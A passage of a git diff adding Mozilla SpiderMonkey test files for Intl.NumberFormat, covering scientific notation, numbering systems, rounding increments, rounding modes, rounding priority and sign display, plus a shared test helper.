+ {value: 10, string: "1.0000E1", parts: [
+ Integer("1"), Decimal("."), Fraction("0000"), ExponentSeparator("E"), ExponentInteger("1")
+ ]},
+ {value: 0.1, string: "1.0000E-1", parts: [
+ Integer("1"), Decimal("."), Fraction("0000"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("1")
+ ]},
+ ],
+ },
+
+ {
+ locale: "en",
+ options: {
+ notation: "scientific",
+ minimumIntegerDigits: 4,
+ },
+ values: [
+ {value: 10, string: "0,001E1", parts: [
+ Integer("0"), Group(","), Integer("001"), ExponentSeparator("E"), ExponentInteger("1")
+ ]},
+ {value: 0.1, string: "0,001E-1", parts: [
+ Integer("0"), Group(","), Integer("001"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("1")
+ ]},
+ ],
+ },
+
+ {
+ locale: "en",
+ options: {
+ notation: "scientific",
+ minimumSignificantDigits: 4,
+ },
+ values: [
+ {value: 10, string: "1.000E1", parts: [
+ Integer("1"), Decimal("."), Fraction("000"), ExponentSeparator("E"), ExponentInteger("1")
+ ]},
+ {value: 0.1, string: "1.000E-1", parts: [
+ Integer("1"), Decimal("."), Fraction("000"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("1")
+ ]},
+ ],
+ },
+
+ {
+ locale: "en",
+ options: {
+ notation: "scientific",
+ maximumSignificantDigits: 1,
+ },
+ values: [
+ {value: 12, string: "1E1", parts: [
+ Integer("1"), ExponentSeparator("E"), ExponentInteger("1")
+ ]},
+ {value: 0.12, string: "1E-1", parts: [
+ Integer("1"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("1")
+ ]},
+ ],
+ },
+];
+
+runNumberFormattingTestcases(testcases);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/numberingSystem-format.js b/js/src/tests/non262/Intl/NumberFormat/numberingSystem-format.js
new file mode 100644
index 0000000000..c0b9ba78ed
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/numberingSystem-format.js
@@ -0,0 +1,18 @@
+for (let [numberingSystem, {digits, algorithmic}] of Object.entries(numberingSystems)) {
+ if (algorithmic) {
+ // We don't yet support algorithmic numbering systems.
+ continue;
+ }
+
+ let nf = new Intl.NumberFormat("en", {numberingSystem});
+
+ assertEq([...digits].length, 10, "expect exactly ten digits for each numbering system");
+
+ let i = 0;
+ for (let digit of digits) {
+ assertEq(nf.format(i++), digit);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/numberingSystem-option.js b/js/src/tests/non262/Intl/NumberFormat/numberingSystem-option.js
new file mode 100644
index 0000000000..4624ee5192
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/numberingSystem-option.js
@@ -0,0 +1,60 @@
+const defaultLocale = "en";
+const defaultNumberingSystem = new Intl.NumberFormat(defaultLocale).resolvedOptions().numberingSystem;
+
+function createWithLocale(locale, numberingSystem) {
+ return new Intl.NumberFormat(locale, {numberingSystem});
+}
+
+function create(numberingSystem) {
+ return createWithLocale(defaultLocale, numberingSystem);
+}
+
+// Empty string should throw.
+assertThrowsInstanceOf(() => create(""), RangeError);
+
+// Trailing \0 should throw.
+assertThrowsInstanceOf(() => create("latn\0"), RangeError);
+
+// Too short or too long strings should throw.
+assertThrowsInstanceOf(() => create("a"), RangeError);
+assertThrowsInstanceOf(() => create("toolongstring"), RangeError);
+
+// Throw even when prefix is valid.
+assertThrowsInstanceOf(() => create("latn-toolongstring"), RangeError);
+
+// |numberingSystem| can be set to |undefined|.
+let nf = create(undefined);
+assertEq(nf.resolvedOptions().numberingSystem, defaultNumberingSystem);
+
+// Unsupported numbering systems are ignored.
+nf = create("xxxxxxxx");
+assertEq(nf.resolvedOptions().numberingSystem, defaultNumberingSystem);
+
+// Numbering system in options overwrite Unicode extension keyword.
+nf = createWithLocale(`${defaultLocale}-u-nu-thai`, "arab");
+assertEq(nf.resolvedOptions().locale, defaultLocale);
+assertEq(nf.resolvedOptions().numberingSystem, "arab");
+
+// |numberingSystem| option ignores case.
+nf = create("ARAB");
+assertEq(nf.resolvedOptions().locale, defaultLocale);
+assertEq(nf.resolvedOptions().numberingSystem, "arab");
+
+for (let [numberingSystem, {algorithmic}] of Object.entries(numberingSystems)) {
+ let nf1 = new Intl.NumberFormat(`${defaultLocale}-u-nu-${numberingSystem}`);
+ let nf2 = new Intl.NumberFormat(defaultLocale, {numberingSystem});
+
+ if (!algorithmic) {
+ assertEq(nf1.resolvedOptions().numberingSystem, numberingSystem);
+ assertEq(nf2.resolvedOptions().numberingSystem, numberingSystem);
+ } else {
+ // We don't yet support algorithmic numbering systems.
+ assertEq(nf1.resolvedOptions().numberingSystem, defaultNumberingSystem);
+ assertEq(nf2.resolvedOptions().numberingSystem, defaultNumberingSystem);
+ }
+
+ assertEq(nf2.format(0), nf1.format(0));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/options-emulate-undefined.js b/js/src/tests/non262/Intl/NumberFormat/options-emulate-undefined.js
new file mode 100644
index 0000000000..ddb2d61350
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/options-emulate-undefined.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// createIsHTMLDDA is only available when running tests in the shell,
+// not the browser
+if (typeof createIsHTMLDDA === "function") {
+ let nf = new Intl.NumberFormat('en-US', createIsHTMLDDA());
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/remove-unicode-extensions.js b/js/src/tests/non262/Intl/NumberFormat/remove-unicode-extensions.js
new file mode 100644
index 0000000000..87cfc317cb
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/remove-unicode-extensions.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Locale processing is supposed to internally remove any Unicode extension
+// sequences in the locale. Test that various weird testcases invoking
+// algorithmic edge cases don't assert or throw exceptions.
+
+var weirdCases =
+ [
+ "en-x-u-foo",
+ "en-a-bar-x-u-foo",
+ "en-x-u-foo-a-bar",
+ "en-a-bar-u-baz-x-u-foo",
+ ];
+
+for (var locale of weirdCases)
+ Intl.NumberFormat(locale).format(5);
+
+assertThrowsInstanceOf(() => Intl.NumberFormat("x-u-foo"), RangeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/rounding-increment.js b/js/src/tests/non262/Intl/NumberFormat/rounding-increment.js
new file mode 100644
index 0000000000..84d4480227
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/rounding-increment.js
@@ -0,0 +1,102 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||release_or_beta)
+
+// Nickel rounding.
+{
+ let nf = new Intl.NumberFormat("en", {
+ minimumFractionDigits: 2,
+ maximumFractionDigits: 2,
+ roundingIncrement: 5,
+ });
+
+ assertEq(nf.format(1.22), "1.20");
+ assertEq(nf.format(1.224), "1.20");
+ assertEq(nf.format(1.225), "1.25");
+ assertEq(nf.format(1.23), "1.25");
+}
+
+// Dime rounding.
+{
+ let nf = new Intl.NumberFormat("en", {
+ minimumFractionDigits: 2,
+ maximumFractionDigits: 2,
+ roundingIncrement: 10,
+ });
+
+ assertEq(nf.format(1.24), "1.20");
+ assertEq(nf.format(1.249), "1.20");
+ assertEq(nf.format(1.250), "1.30");
+ assertEq(nf.format(1.25), "1.30");
+}
+
+// Rounding increment option is rounded down.
+{
+ let nf1 = new Intl.NumberFormat("en", {
+ minimumFractionDigits: 0,
+ maximumFractionDigits: 0,
+ roundingIncrement: 10,
+ });
+
+ let nf2 = new Intl.NumberFormat("en", {
+ minimumFractionDigits: 0,
+ maximumFractionDigits: 0,
+ roundingIncrement: 10.1,
+ });
+
+ let nf3 = new Intl.NumberFormat("en", {
+ minimumFractionDigits: 0,
+ maximumFractionDigits: 0,
+ roundingIncrement: 10.9,
+ });
+
+ assertEq(nf1.resolvedOptions().roundingIncrement, 10);
+ assertEq(nf2.resolvedOptions().roundingIncrement, 10);
+ assertEq(nf3.resolvedOptions().roundingIncrement, 10);
+
+ assertEq(nf1.format(123), "120");
+ assertEq(nf2.format(123), "120");
+ assertEq(nf3.format(123), "120");
+}
+
+// |minimumFractionDigits| must be equal to |maximumFractionDigits| when
+// |roundingIncrement| is used.
+//
+// |minimumFractionDigits| defaults to zero.
+{
+ let nf = new Intl.NumberFormat("en", {
+ roundingIncrement: 10,
+ // minimumFractionDigits: 0, (default)
+ maximumFractionDigits: 0,
+ });
+
+ let resolved = nf.resolvedOptions();
+ assertEq(resolved.minimumFractionDigits, 0);
+ assertEq(resolved.maximumFractionDigits, 0);
+ assertEq(resolved.roundingIncrement, 10);
+
+ assertEq(nf.format(123), "120");
+ assertEq(nf.format(123.456), "120");
+}
+
+// |maximumFractionDigits| defaults to three. And because |0 !== 3|, a
+// RangeError is thrown.
+{
+ let options = {
+ roundingIncrement: 10,
+ // minimumFractionDigits: 0, (default)
+ // maximumFractionDigits: 3, (default)
+ };
+ assertThrowsInstanceOf(() => new Intl.NumberFormat("en", options), RangeError);
+}
+
+// Invalid values.
+for (let roundingIncrement of [-1, 0, Infinity, NaN]){
+ let options = {
+ roundingIncrement,
+ minimumFractionDigits: 0,
+ maximumFractionDigits: 0,
+ };
+ assertThrowsInstanceOf(() => new Intl.NumberFormat("en", options), RangeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/rounding-mode.js b/js/src/tests/non262/Intl/NumberFormat/rounding-mode.js
new file mode 100644
index 0000000000..e4b85b0172
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/rounding-mode.js
@@ -0,0 +1,287 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||release_or_beta)
+
+const tests = [
+ // Special values: Zeros and non-finite values.
+ {
+ value: 0,
+ options: {},
+ roundingModes: {
+ ceil: "0",
+ floor: "0",
+ expand: "0",
+ trunc: "0",
+ halfCeil: "0",
+ halfFloor: "0",
+ halfExpand: "0",
+ halfTrunc: "0",
+ halfEven: "0",
+ },
+ },
+ {
+ value: -0,
+ options: {},
+ roundingModes: {
+ ceil: "-0",
+ floor: "-0",
+ expand: "-0",
+ trunc: "-0",
+ halfCeil: "-0",
+ halfFloor: "-0",
+ halfExpand: "-0",
+ halfTrunc: "-0",
+ halfEven: "-0",
+ },
+ },
+ {
+ value: -Infinity,
+ options: {},
+ roundingModes: {
+ ceil: "-∞",
+ floor: "-∞",
+ expand: "-∞",
+ trunc: "-∞",
+ halfCeil: "-∞",
+ halfFloor: "-∞",
+ halfExpand: "-∞",
+ halfTrunc: "-∞",
+ halfEven: "-∞",
+ },
+ },
+ {
+ value: Infinity,
+ options: {},
+ roundingModes: {
+ ceil: "∞",
+ floor: "∞",
+ expand: "∞",
+ trunc: "∞",
+ halfCeil: "∞",
+ halfFloor: "∞",
+ halfExpand: "∞",
+ halfTrunc: "∞",
+ halfEven: "∞",
+ },
+ },
+ {
+ value: NaN,
+ options: {},
+ roundingModes: {
+ ceil: "NaN",
+ floor: "NaN",
+ expand: "NaN",
+ trunc: "NaN",
+ halfCeil: "NaN",
+ halfFloor: "NaN",
+ halfExpand: "NaN",
+ halfTrunc: "NaN",
+ halfEven: "NaN",
+ },
+ },
+
+ // Integer rounding with positive values.
+ {
+ value: 0.4,
+ options: {maximumFractionDigits: 0},
+ roundingModes: {
+ ceil: "1",
+ floor: "0",
+ expand: "1",
+ trunc: "0",
+ halfCeil: "0",
+ halfFloor: "0",
+ halfExpand: "0",
+ halfTrunc: "0",
+ halfEven: "0",
+ },
+ },
+ {
+ value: 0.5,
+ options: {maximumFractionDigits: 0},
+ roundingModes: {
+ ceil: "1",
+ floor: "0",
+ expand: "1",
+ trunc: "0",
+ halfCeil: "1",
+ halfFloor: "0",
+ halfExpand: "1",
+ halfTrunc: "0",
+ halfEven: "0",
+ },
+ },
+ {
+ value: 0.6,
+ options: {maximumFractionDigits: 0},
+ roundingModes: {
+ ceil: "1",
+ floor: "0",
+ expand: "1",
+ trunc: "0",
+ halfCeil: "1",
+ halfFloor: "1",
+ halfExpand: "1",
+ halfTrunc: "1",
+ halfEven: "1",
+ },
+ },
+
+ // Integer rounding with negative values.
+ {
+ value: -0.4,
+ options: {maximumFractionDigits: 0},
+ roundingModes: {
+ ceil: "-0",
+ floor: "-1",
+ expand: "-1",
+ trunc: "-0",
+ halfCeil: "-0",
+ halfFloor: "-0",
+ halfExpand: "-0",
+ halfTrunc: "-0",
+ halfEven: "-0",
+ },
+ },
+ {
+ value: -0.5,
+ options: {maximumFractionDigits: 0},
+ roundingModes: {
+ ceil: "-0",
+ floor: "-1",
+ expand: "-1",
+ trunc: "-0",
+ halfCeil: "-0",
+ halfFloor: "-1",
+ halfExpand: "-1",
+ halfTrunc: "-0",
+ halfEven: "-0",
+ },
+ },
+ {
+ value: -0.6,
+ options: {maximumFractionDigits: 0},
+ roundingModes: {
+ ceil: "-0",
+ floor: "-1",
+ expand: "-1",
+ trunc: "-0",
+ halfCeil: "-1",
+ halfFloor: "-1",
+ halfExpand: "-1",
+ halfTrunc: "-1",
+ halfEven: "-1",
+ },
+ },
+
+ // Fractional digits rounding with positive values.
+ {
+ value: 0.04,
+ options: {maximumFractionDigits: 1},
+ roundingModes: {
+ ceil: "0.1",
+ floor: "0",
+ expand: "0.1",
+ trunc: "0",
+ halfCeil: "0",
+ halfFloor: "0",
+ halfExpand: "0",
+ halfTrunc: "0",
+ halfEven: "0",
+ },
+ },
+ {
+ value: 0.05,
+ options: {maximumFractionDigits: 1},
+ roundingModes: {
+ ceil: "0.1",
+ floor: "0",
+ expand: "0.1",
+ trunc: "0",
+ halfCeil: "0.1",
+ halfFloor: "0",
+ halfExpand: "0.1",
+ halfTrunc: "0",
+ halfEven: "0",
+ },
+ },
+ {
+ value: 0.06,
+ options: {maximumFractionDigits: 1},
+ roundingModes: {
+ ceil: "0.1",
+ floor: "0",
+ expand: "0.1",
+ trunc: "0",
+ halfCeil: "0.1",
+ halfFloor: "0.1",
+ halfExpand: "0.1",
+ halfTrunc: "0.1",
+ halfEven: "0.1",
+ },
+ },
+
+ // Fractional digits rounding with negative values.
+ {
+ value: -0.04,
+ options: {maximumFractionDigits: 1},
+ roundingModes: {
+ ceil: "-0",
+ floor: "-0.1",
+ expand: "-0.1",
+ trunc: "-0",
+ halfCeil: "-0",
+ halfFloor: "-0",
+ halfExpand: "-0",
+ halfTrunc: "-0",
+ halfEven: "-0",
+ },
+ },
+ {
+ value: -0.05,
+ options: {maximumFractionDigits: 1},
+ roundingModes: {
+ ceil: "-0",
+ floor: "-0.1",
+ expand: "-0.1",
+ trunc: "-0",
+ halfCeil: "-0",
+ halfFloor: "-0.1",
+ halfExpand: "-0.1",
+ halfTrunc: "-0",
+ halfEven: "-0",
+ },
+ },
+ {
+ value: -0.06,
+ options: {maximumFractionDigits: 1},
+ roundingModes: {
+ ceil: "-0",
+ floor: "-0.1",
+ expand: "-0.1",
+ trunc: "-0",
+ halfCeil: "-0.1",
+ halfFloor: "-0.1",
+ halfExpand: "-0.1",
+ halfTrunc: "-0.1",
+ halfEven: "-0.1",
+ },
+ },
+];
+
+for (let {value, options, roundingModes} of tests) {
+ for (let [roundingMode, expected] of Object.entries(roundingModes)) {
+ let nf = new Intl.NumberFormat("en", {...options, roundingMode});
+ assertEq(nf.format(value), expected, `value=${value}, roundingMode=${roundingMode}`);
+ assertEq(nf.resolvedOptions().roundingMode, roundingMode);
+ }
+}
+
+// Default value is "halfExpand".
+assertEq(new Intl.NumberFormat().resolvedOptions().roundingMode, "halfExpand");
+
+// Invalid values.
+for (let roundingMode of ["", null, "halfOdd", "halfUp", "Up", "up"]){
+ assertThrowsInstanceOf(() => new Intl.NumberFormat("en", {roundingMode}), RangeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/rounding-priority.js b/js/src/tests/non262/Intl/NumberFormat/rounding-priority.js
new file mode 100644
index 0000000000..49c9e1b274
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/rounding-priority.js
@@ -0,0 +1,132 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||release_or_beta)
+
+const tests = [
+ // Rounding conflict with maximum fraction/significand digits.
+ {
+ value: 4.321,
+ options: {
+ maximumFractionDigits: 2,
+ maximumSignificantDigits: 2,
+ },
+ roundingPriorities: {
+ auto: "4.3",
+ lessPrecision: "4.3",
+ morePrecision: "4.32",
+ },
+ },
+ {
+ value: 4.321,
+ options: {
+ maximumFractionDigits: 2,
+ minimumFractionDigits: 2,
+ maximumSignificantDigits: 2,
+ },
+ roundingPriorities: {
+ auto: "4.3",
+ lessPrecision: "4.3",
+ morePrecision: "4.32",
+ },
+ },
+ {
+ value: 4.321,
+ options: {
+ maximumFractionDigits: 2,
+ maximumSignificantDigits: 2,
+ minimumSignificantDigits: 2,
+ },
+ roundingPriorities: {
+ auto: "4.3",
+ lessPrecision: "4.3",
+ morePrecision: "4.32",
+ },
+ },
+ {
+ value: 4.321,
+ options: {
+ maximumFractionDigits: 2,
+ minimumFractionDigits: 2,
+ maximumSignificantDigits: 2,
+ minimumSignificantDigits: 2,
+ },
+ roundingPriorities: {
+ auto: "4.3",
+ lessPrecision: "4.3",
+ morePrecision: "4.32",
+ },
+ },
+
+ // Rounding conflict with minimum fraction/significand digits.
+ {
+ value: 1.0,
+ options: {
+ minimumFractionDigits: 2,
+ minimumSignificantDigits: 2,
+ },
+ roundingPriorities: {
+ auto: "1.0",
+ // Returning "1.00" for both options seems unexpected. Also filed at
+ // <https://github.com/tc39/proposal-intl-numberformat-v3/issues/52>.
+ lessPrecision: "1.00",
+ morePrecision: "1.0",
+ },
+ },
+ {
+ value: 1.0,
+ options: {
+ minimumFractionDigits: 2,
+ maximumFractionDigits: 2,
+ minimumSignificantDigits: 2,
+ },
+ roundingPriorities: {
+ auto: "1.0",
+ lessPrecision: "1.00",
+ morePrecision: "1.0",
+ },
+ },
+ {
+ value: 1.0,
+ options: {
+ minimumFractionDigits: 2,
+ minimumSignificantDigits: 2,
+ maximumSignificantDigits: 2,
+ },
+ roundingPriorities: {
+ auto: "1.0",
+ lessPrecision: "1.0",
+ morePrecision: "1.00",
+ },
+ },
+ {
+ value: 1.0,
+ options: {
+ minimumFractionDigits: 2,
+ maximumFractionDigits: 2,
+ minimumSignificantDigits: 2,
+ maximumSignificantDigits: 2,
+ },
+ roundingPriorities: {
+ auto: "1.0",
+ lessPrecision: "1.0",
+ morePrecision: "1.00",
+ },
+ },
+];
+
+for (let {value, options, roundingPriorities} of tests) {
+ for (let [roundingPriority, expected] of Object.entries(roundingPriorities)) {
+ let nf = new Intl.NumberFormat("en", {...options, roundingPriority});
+ assertEq(nf.resolvedOptions().roundingPriority, roundingPriority);
+ assertEq(nf.format(value), expected, `value=${value}, roundingPriority=${roundingPriority}`);
+ }
+}
+
+// Default value of "auto".
+assertEq(new Intl.NumberFormat().resolvedOptions().roundingPriority, "auto");
+
+// Invalid values.
+for (let roundingPriority of ["", null, "more", "less", "never"]){
+ assertThrowsInstanceOf(() => new Intl.NumberFormat("en", {roundingPriority}), RangeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/shell.js b/js/src/tests/non262/Intl/NumberFormat/shell.js
new file mode 100644
index 0000000000..471fdad71b
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/shell.js
@@ -0,0 +1,77 @@
+function GenericPartCreator(type) {
+ return str => ({ type, value: str });
+}
+
+const NumberFormatParts = {
+ Nan: GenericPartCreator("nan"),
+ Inf: GenericPartCreator("infinity"),
+ Integer: GenericPartCreator("integer"),
+ Group: GenericPartCreator("group"),
+ Decimal: GenericPartCreator("decimal"),
+ Fraction: GenericPartCreator("fraction"),
+ MinusSign: GenericPartCreator("minusSign"),
+ PlusSign: GenericPartCreator("plusSign"),
+ PercentSign: GenericPartCreator("percentSign"),
+ Currency: GenericPartCreator("currency"),
+ Literal: GenericPartCreator("literal"),
+ ExponentSeparator: GenericPartCreator("exponentSeparator"),
+ ExponentMinusSign: GenericPartCreator("exponentMinusSign"),
+ ExponentInteger: GenericPartCreator("exponentInteger"),
+ Compact: GenericPartCreator("compact"),
+ Unit: GenericPartCreator("unit"),
+};
+
+function NumberRangeFormatParts(source) {
+ let entries = Object.entries(NumberFormatParts)
+
+ entries.push(["Approx", GenericPartCreator("approximatelySign")]);
+
+ return Object.fromEntries(entries.map(([key, part]) => {
+ let partWithSource = str => {
+ return Object.defineProperty(part(str), "source", {
+ value: source, writable: true, enumerable: true, configurable: true
+ });
+ };
+ return [key, partWithSource];
+ }));
+}
+
+function assertParts(nf, x, expected) {
+ var parts = nf.formatToParts(x);
+ assertEq(parts.map(part => part.value).join(""), nf.format(x),
+ "formatToParts and format must agree");
+
+ var len = parts.length;
+ assertEq(len, expected.length, "parts count mismatch");
+ for (var i = 0; i < len; i++) {
+ assertEq(parts[i].type, expected[i].type, "type mismatch at " + i);
+ assertEq(parts[i].value, expected[i].value, "value mismatch at " + i);
+ }
+}
+
+function assertRangeParts(nf, start, end, expected) {
+ var parts = nf.formatRangeToParts(start, end);
+ assertEq(parts.map(part => part.value).join(""), nf.formatRange(start, end),
+ "formatRangeToParts and formatRange must agree");
+
+ var len = parts.length;
+ assertEq(len, expected.length, "parts count mismatch");
+ for (var i = 0; i < len; i++) {
+ assertEq(parts[i].type, expected[i].type, "type mismatch at " + i);
+ assertEq(parts[i].value, expected[i].value, "value mismatch at " + i);
+ assertEq(parts[i].source, expected[i].source, "source mismatch at " + i);
+ }
+}
+
+function runNumberFormattingTestcases(testcases) {
+ for (let {locale, options, values} of testcases) {
+ let nf = new Intl.NumberFormat(locale, options);
+
+ for (let {value, string, parts} of values) {
+ assertEq(nf.format(value), string,
+ `locale=${locale}, options=${JSON.stringify(options)}, value=${value}`);
+
+ assertParts(nf, value, parts);
+ }
+ }
+}
diff --git a/js/src/tests/non262/Intl/NumberFormat/sign-display.js b/js/src/tests/non262/Intl/NumberFormat/sign-display.js
new file mode 100644
index 0000000000..b18517d847
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/sign-display.js
@@ -0,0 +1,187 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const {
+ Nan, Inf, Integer, MinusSign, PlusSign, Decimal, Fraction
+} = NumberFormatParts;
+
+const testcases = [
+ // "auto": Show the sign on negative numbers only.
+ {
+ locale: "en",
+ options: {
+ signDisplay: "auto",
+ },
+ values: [
+ {value: +0, string: "0", parts: [Integer("0")]},
+ {value: -0, string: "-0", parts: [MinusSign("-"), Integer("0")]},
+ {value: 0n, string: "0", parts: [Integer("0")]},
+
+ {value: 1, string: "1", parts: [Integer("1")]},
+ {value: -1, string: "-1", parts: [MinusSign("-"), Integer("1")]},
+ {value: 1n, string: "1", parts: [Integer("1")]},
+ {value: -1n, string: "-1", parts: [MinusSign("-"), Integer("1")]},
+
+ {value: 0.1, string: "0.1", parts: [Integer("0"), Decimal("."), Fraction("1")]},
+ {value: -0.1, string: "-0.1", parts: [MinusSign("-"), Integer("0"), Decimal("."), Fraction("1")]},
+
+ {value: 0.9, string: "0.9", parts: [Integer("0"), Decimal("."), Fraction("9")]},
+ {value: -0.9, string: "-0.9", parts: [MinusSign("-"), Integer("0"), Decimal("."), Fraction("9")]},
+
+ {value: Infinity, string: "∞", parts: [Inf("∞")]},
+ {value: -Infinity, string: "-∞", parts: [MinusSign("-"), Inf("∞")]},
+
+ {value: NaN, string: "NaN", parts: [Nan("NaN")]},
+ {value: -NaN, string: "NaN", parts: [Nan("NaN")]},
+ ],
+ },
+
+ // "never": Show the sign on neither positive nor negative numbers.
+ {
+ locale: "en",
+ options: {
+ signDisplay: "never",
+ },
+ values: [
+ {value: +0, string: "0", parts: [Integer("0")]},
+ {value: -0, string: "0", parts: [Integer("0")]},
+ {value: 0n, string: "0", parts: [Integer("0")]},
+
+ {value: 1, string: "1", parts: [Integer("1")]},
+ {value: -1, string: "1", parts: [Integer("1")]},
+ {value: 1n, string: "1", parts: [Integer("1")]},
+ {value: -1n, string: "1", parts: [Integer("1")]},
+
+ {value: 0.1, string: "0.1", parts: [Integer("0"), Decimal("."), Fraction("1")]},
+ {value: -0.1, string: "0.1", parts: [Integer("0"), Decimal("."), Fraction("1")]},
+
+ {value: 0.9, string: "0.9", parts: [Integer("0"), Decimal("."), Fraction("9")]},
+ {value: -0.9, string: "0.9", parts: [Integer("0"), Decimal("."), Fraction("9")]},
+
+ {value: Infinity, string: "∞", parts: [Inf("∞")]},
+ {value: -Infinity, string: "∞", parts: [Inf("∞")]},
+
+ {value: NaN, string: "NaN", parts: [Nan("NaN")]},
+ {value: -NaN, string: "NaN", parts: [Nan("NaN")]},
+ ],
+ },
+
+ // "always": Show the sign on positive and negative numbers including zero.
+ {
+ locale: "en",
+ options: {
+ signDisplay: "always",
+ },
+ values: [
+ {value: +0, string: "+0", parts: [PlusSign("+"), Integer("0")]},
+ {value: -0, string: "-0", parts: [MinusSign("-"), Integer("0")]},
+ {value: 0n, string: "+0", parts: [PlusSign("+"), Integer("0")]},
+
+ {value: 1, string: "+1", parts: [PlusSign("+"), Integer("1")]},
+ {value: -1, string: "-1", parts: [MinusSign("-"), Integer("1")]},
+ {value: 1n, string: "+1", parts: [PlusSign("+"), Integer("1")]},
+ {value: -1n, string: "-1", parts: [MinusSign("-"), Integer("1")]},
+
+ {value: 0.1, string: "+0.1", parts: [PlusSign("+"), Integer("0"), Decimal("."), Fraction("1")]},
+ {value: -0.1, string: "-0.1", parts: [MinusSign("-"), Integer("0"), Decimal("."), Fraction("1")]},
+
+ {value: 0.9, string: "+0.9", parts: [PlusSign("+"), Integer("0"), Decimal("."), Fraction("9")]},
+ {value: -0.9, string: "-0.9", parts: [MinusSign("-"), Integer("0"), Decimal("."), Fraction("9")]},
+
+ {value: Infinity, string: "+∞", parts: [PlusSign("+"), Inf("∞")]},
+ {value: -Infinity, string: "-∞", parts: [MinusSign("-"), Inf("∞")]},
+
+ {value: NaN, string: "+NaN", parts: [PlusSign("+"), Nan("NaN")]},
+ {value: -NaN, string: "+NaN", parts: [PlusSign("+"), Nan("NaN")]},
+ ],
+ },
+
+ // "exceptZero": Show the sign on positive and negative numbers but not zero.
+ {
+ locale: "en",
+ options: {
+ signDisplay: "exceptZero",
+ },
+ values: [
+ {value: +0, string: "0", parts: [Integer("0")]},
+ {value: -0, string: "0", parts: [Integer("0")]},
+ {value: 0n, string: "0", parts: [Integer("0")]},
+
+ {value: 1, string: "+1", parts: [PlusSign("+"), Integer("1")]},
+ {value: -1, string: "-1", parts: [MinusSign("-"), Integer("1")]},
+ {value: 1n, string: "+1", parts: [PlusSign("+"), Integer("1")]},
+ {value: -1n, string: "-1", parts: [MinusSign("-"), Integer("1")]},
+
+ {value: 0.1, string: "+0.1", parts: [PlusSign("+"), Integer("0"), Decimal("."), Fraction("1")]},
+ {value: -0.1, string: "-0.1", parts: [MinusSign("-"), Integer("0"), Decimal("."), Fraction("1")]},
+
+ {value: 0.9, string: "+0.9", parts: [PlusSign("+"), Integer("0"), Decimal("."), Fraction("9")]},
+ {value: -0.9, string: "-0.9", parts: [MinusSign("-"), Integer("0"), Decimal("."), Fraction("9")]},
+
+ {value: Infinity, string: "+∞", parts: [PlusSign("+"), Inf("∞")]},
+ {value: -Infinity, string: "-∞", parts: [MinusSign("-"), Inf("∞")]},
+
+ {value: NaN, string: "NaN", parts: [Nan("NaN")]},
+ {value: -NaN, string: "NaN", parts: [Nan("NaN")]},
+ ],
+ },
+
+ // Tests with suppressed fractional digits.
+
+ // "auto": Show the sign on negative numbers only.
+ {
+ locale: "en",
+ options: {
+ signDisplay: "auto",
+ maximumFractionDigits: 0,
+ },
+ values: [
+ {value: +0.1, string: "0", parts: [Integer("0")]},
+ {value: -0.1, string: "-0", parts: [MinusSign("-"), Integer("0")]},
+ ],
+ },
+
+ // "never": Show the sign on neither positive nor negative numbers.
+ {
+ locale: "en",
+ options: {
+ signDisplay: "never",
+ maximumFractionDigits: 0,
+ },
+ values: [
+ {value: +0.1, string: "0", parts: [Integer("0")]},
+ {value: -0.1, string: "0", parts: [Integer("0")]},
+ ],
+ },
+
+ // "always": Show the sign on positive and negative numbers including zero.
+ {
+ locale: "en",
+ options: {
+ signDisplay: "always",
+ maximumFractionDigits: 0,
+ },
+ values: [
+ {value: +0.1, string: "+0", parts: [PlusSign("+"), Integer("0")]},
+ {value: -0.1, string: "-0", parts: [MinusSign("-"), Integer("0")]},
+ ],
+ },
+
+ // "exceptZero": Show the sign on positive and negative numbers but not zero.
+ {
+ locale: "en",
+ options: {
+ signDisplay: "exceptZero",
+ maximumFractionDigits: 0,
+ },
+
+ values: [
+ {value: +0.1, string: "0", parts: [Integer("0")]},
+ {value: -0.1, string: "0", parts: [Integer("0")]},
+ ],
+ }
+];
+
+runNumberFormattingTestcases(testcases);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
